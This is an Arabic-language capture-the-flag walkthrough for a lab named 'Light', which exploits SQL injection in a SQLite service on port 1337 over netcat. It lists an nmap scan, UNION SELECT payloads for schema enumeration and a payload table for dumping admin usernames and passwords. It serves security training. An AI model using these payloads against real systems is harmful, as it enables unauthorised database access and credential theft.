عن اللاب
صاحب اللاب بيقولك بنص واضح: بيشتغل على تطبيق قاعدة بيانات اسمه Light، شغال على port 1337، وبيدّيك username جاهز (smokey) عشان تبدأ بيه. الأمر بسيط في الظاهر — تدخل اسم مستخدم، ياخدك الباسورد بتاعه — بس ده بالظبط الباب اللي هيوديك لثغرة SQL Injection في قاعدة بيانات SQLite، من غير أي متصفح أو HTTP خالص.
باسورد smokey اللي هتاخده الأول مجرد red herring — مش هيفتحلك SSH ولا أي حاجة. التحدي الحقيقي في الـ SQL injection.
مسار الحل
1
Recon
فحص شامل للبورتات — هتلاقي 22 (SSH) و1337 (تطبيق Light)
nmap -p- -A -T4 IP
2
الاتصال بـ netcat
اتصل بالتطبيق وادخل اسم المستخدم المعطى — هياخدك الباسورد بتاعه مباشرة
nc IP 1337smokey
3
اختبار الحقن
جرّب علامة اقتباس مفردة كاسم مستخدم — لو رجّع رسالة خطأ نحوي، يبقى التطبيق بيمرّر إدخالك لجملة SQL مباشرة
‘
4
تحديد نوع القاعدة
استخدم UNION SELECT عشان تأكد إنها SQLite وتطلّع رقم الإصدار
‘ Union Select sqlite_version() ‘
5
اكتشاف الجداول
استعلم عن جدول sqlite_master الخاص بميتاداتا القاعدة — هيوريك اسم جدول الأدمن
‘ Union Select name FROM sqlite_master WHERE type=’table’ ‘
6
استخراج البيانات
استخدم group_concat عشان تدمج اسم المستخدم والباسورد في نتيجة واحدة من جدول الأدمن — هتاخد اسم المستخدم، الباسورد، والـ flag سوا
‘ Union Select group_concat(username||”:”||password) FROM admintable ‘
مرجع سريع للـ Payloads
| الـ Payload | الغرض |
|---|---|
| ‘ | اختبار وجود ثغرة الحقن |
| ‘ Union Select sqlite_version() ‘ | تأكيد نوع القاعدة والإصدار |
| ‘ Union Select group_concat(sql) FROM sqlite_master ‘ | عرض بنية كل الجداول دفعة واحدة |
| ‘ Union Select COUNT(*) FROM admintable ‘ | معرفة عدد الصفوف قبل السحب |
| ‘ Union Select group_concat(username||”:”||password) FROM admintable ‘ | سحب كل بيانات الاعتماد في نتيجة وحدة |
المهارات اللي هتكتسبها
SQL Injection (خارج الويب)
SQLite Enumeration
UNION-Based Extraction
Raw TCP Service Testing